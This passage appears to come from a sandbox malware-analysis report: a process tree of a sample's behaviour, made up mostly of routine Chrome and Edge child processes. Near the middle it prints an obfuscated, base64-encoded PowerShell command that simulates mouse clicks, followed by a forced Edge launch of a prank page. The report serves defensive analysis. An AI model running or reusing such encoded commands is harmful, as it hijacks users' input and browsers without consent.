      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: GetForegroundWindowSpam
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      Suspicious use of WriteProcessMemory
      PID:5512
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x12c,0x130,0x134,0x108,0x138,0x7ff8c3cdc728,0x7ff8c3cdc734,0x7ff8c3cdc740
        5⤵
        
        PID:1324
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1312,i,3466935689440563370,11179121711584331149,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=2396 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:4976
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1588,i,3068645243568844977,15306780656302200610,262144 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=2352 /prefetch:2
        5⤵
        
        PID:5128
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=2036,i,12295753732572129239,13586959022578327239,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=3088 /prefetch:13
        5⤵
        
        PID:5768
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3044,i,2598470589746283628,1997144139180276476,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=3232 /prefetch:1
        5⤵
        
        PID:3028
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3040,i,9497760704301654234,2370610307522195426,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=3212 /prefetch:1
        5⤵
        
        PID:936
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4660,i,7841101437989554891,6725082168516716777,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=4672 /prefetch:14
        5⤵
        
        PID:5008
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4812,i,13591270212450241790,8600398943065616950,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=4836 /prefetch:12
        5⤵
        
        PID:3936
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --metrics-shmem-handle=4656,i,4041538828845737384,17878241307929672964,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=4688 /prefetch:1
        5⤵
        
        PID:6768
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5540,i,10021944102999393097,3116668741031952072,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=5572 /prefetch:1
        5⤵
        
        PID:8072
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=6036,i,9576700731162260818,7542899716429419023,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6040 /prefetch:1
        5⤵
        
        PID:7492
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6204,i,18400851275042761540,17223232984068058847,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6188 /prefetch:14
        5⤵
        
        PID:3232
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=6244,i,3123731018655171066,6006600430638747501,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:14
        5⤵
        
        PID:6680
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5500,i,4763667034642645757,10858231352725379227,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6340 /prefetch:14
        5⤵
        
        PID:7268
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=6564,i,18393130875277755290,17563897228388762886,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6568 /prefetch:14
        5⤵
        
        PID:5664
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6764,i,12834711233508078886,8620215825409864394,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6796 /prefetch:1
        5⤵
        
        PID:7244
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6772,i,6050217586224329343,14718861230101741623,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6816 /prefetch:1
        5⤵
        
        PID:7652
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6756,i,1020115809722863097,14928855195495679983,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6400 /prefetch:1
        5⤵
        
        PID:9032
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=6848,i,14009006604688313525,14389663213358993612,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6832 /prefetch:1
        5⤵
        
        PID:3144
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=7020,i,4857747852294008486,6358552841709436493,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6420 /prefetch:1
        5⤵
        
        PID:1560
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=7068,i,5021765683562314383,9688809623039136246,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=6952 /prefetch:1
        5⤵
        
        PID:9052
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=7148,i,12745144310039850109,12348401351377597967,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=7128 /prefetch:1
        5⤵
        
        PID:6008
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --metrics-shmem-handle=6996,i,14767674268429956390,7925978689720907313,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=7040 /prefetch:1
        5⤵
        
        PID:1084
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6000,i,5430816574761495533,10076349294237142863,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=5968 /prefetch:14
        5⤵
        
        PID:9176
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=5948,i,10507903977971300855,17957583683386285467,262144 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=5964 /prefetch:10
        5⤵
        Suspicious behavior: EnumeratesProcesses
        
        PID:3388
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3908,i,11471085317231325233,5397177962770540447,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=3892 /prefetch:14
        5⤵
        
        PID:5500
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5440,i,12732381014396998840,11273027759337566093,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=3908 /prefetch:14
        5⤵
        
        PID:8276
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=28 --metrics-shmem-handle=5912,i,11441262450733516300,16260506543790336827,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=7172 /prefetch:1
        5⤵
        
        PID:8952
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=29 --metrics-shmem-handle=7292,i,13943763392139970447,9505720203437622540,2097152 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=7304 /prefetch:9
        5⤵
        
        PID:6692
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --metrics-shmem-handle=7516,i,17705971444540927072,13621147519523597789,524288 --field-trial-handle=2360,i,13299196281180044516,8061470041913429446,262144 --variations-seed-version --mojo-platform-channel-handle=7488 /prefetch:14
        5⤵
        
        PID:1664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -EncodedCommand "QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkAIABTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwA7ACAAJABzAGMAcgBlAGUAbgAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AFAAcgBpAG0AYQByAHkAUwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7ACAAWwBTAHkAcwB0AGUAbQAuAFcAaQBuAGQAbwB3AHMALgBGAG8AcgBtAHMALgBDAHUAcgBzAG8AcgBdADoAOgBQAG8AcwBpAHQAaQBvAG4AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAFAAbwBpAG4AdAAoACgAJABzAGMAcgBlAGUAbgAuAFcAaQBkAHQAaAAvADIAKQAsACAAKAAkAHMAYwByAGUAZQBuAC4ASABlAGkAZwBoAHQALwAyACkAIAA7ACAAQQBkAGQALQBUAHkAcABlACAALQBNAGUAbQBiAGUAcgBEAGUAZgBpAG4AaQB0AGkAbwBuACAAJwBbAEQAbABsAEkAbQBwAG8AcgB0ACgAIgB1AHMAZQByADMAMgAuAGQAbABsACIAKQBdACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAGUAeAB0AGUAcgBuACAdgBvAGkAZAAgAG0AbwB1AHMAZQBfAGUAdgBlAG4AdAAoAGkAbgB0ACAAZAB3AEYAbABhAGcAcwAsACAAaQBuAHQAIABkAHgALAAgAGkAbgB0ACAAZAB5ACwAIABpAG4AdAAgAGQAdwBEAGEAdABhACwAIABpAG4AdAAgAGQAdwBFAHgAdAByAGEASQBuAGYAbwApADsAJwAgAC0ATgBhAG0AZQAgAG0AbwB1AHMAZQAgAC0ATgBhAG0AZQBzAHAAYQBjAGUAIABhAHAAaQA7ACAAWwBhAHAAaQAuAG0AbwB1AHMAZQBdADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAAyACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkAOwAgAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0ATQBpAGwAbABpAHMAZQBjAG8AbgBkAHMAIAA1ADAAOwAgAFsAYQBwAGkALgBtAG8AdQBzAGUAXQAhADoAOgBtAG8AdQBzAGUAXwBlAHYAZQBuAHQAKAAwAHgAMAA0ACwAIAAwACwAIAAwACwAIAAwACwAIAAwACkA"where msedge
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2768
  - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --new-window "https://youareanidiot.cc/lol.html"
      4⤵
      Drops file in Windows directory
      Enumerates system info in registry
      Modifies data under HKEY_USERS
      Modifies registry class
      Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      Suspicious use of FindShellTrayWindow
      Suspicious use of WriteProcessMemory
      PID:3332
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x26c,0x270,0x274,0x268,0x294,0x7ff8bafac188,0x7ff8bafac194,0x7ff8bafac1a0
        5⤵
        
        PID:5432
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1536,i,3723622578711383397,11733905843097720407,262144 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=2232 /prefetch:2
        5⤵
        
        PID:2868
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1668,i,7323233814228988370,9860777942991162915,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=2828 /prefetch:11
        5⤵
        System Time Discovery
        
        PID:2944
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2248,i,5921209895933346513,2535954474508466680,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:13
        5⤵
        
        PID:3164
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3580,i,10451132145304804267,8339454083172219425,2097152 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=3596 /prefetch:1
        5⤵
        
        PID:3492
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3672,i,7716774022245572489,3613251230714561286,2097152 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=3632 /prefetch:1
        5⤵
        
        PID:4812
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4272,i,9386954774319797057,13541672073502748288,2097152 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=4336 /prefetch:1
        5⤵
        
        PID:3040
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4308,i,6634372024979133807,10175975627564987883,2097152 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=4340 /prefetch:9
        5⤵
        
        PID:2952
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3744,i,2544235491731317992,15397683793669042831,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=3756 /prefetch:14
        5⤵
        
        PID:1856
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5468,i,16613130502526920391,4472658294330224142,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5456 /prefetch:12
        5⤵
        
        PID:1816
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5748,i,3148920977711262950,4832435791393073148,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5768 /prefetch:14
        5⤵
        
        PID:1208
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5736,i,2492543907391724092,3285287837172204979,524288 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5796 /prefetch:14
        5⤵
        
        PID:6148
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --always-read-main-dll --metrics-shmem-handle=6168,i,10450826220918354826,9357172972365591646,2097152 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=6176 /prefetch:1
        5⤵
        
        PID:7708
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --always-read-main-dll --metrics-shmem-handle=6472,i,3981476183458243146,16264091808215893448,2097152 --field-trial-handle=2236,i,8833051695394180847,4672833999747052964,262144 --variations-seed-version --mojo-platform-channel-handle=5328 /prefetch:1
        5⤵
        
        PID:7304
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
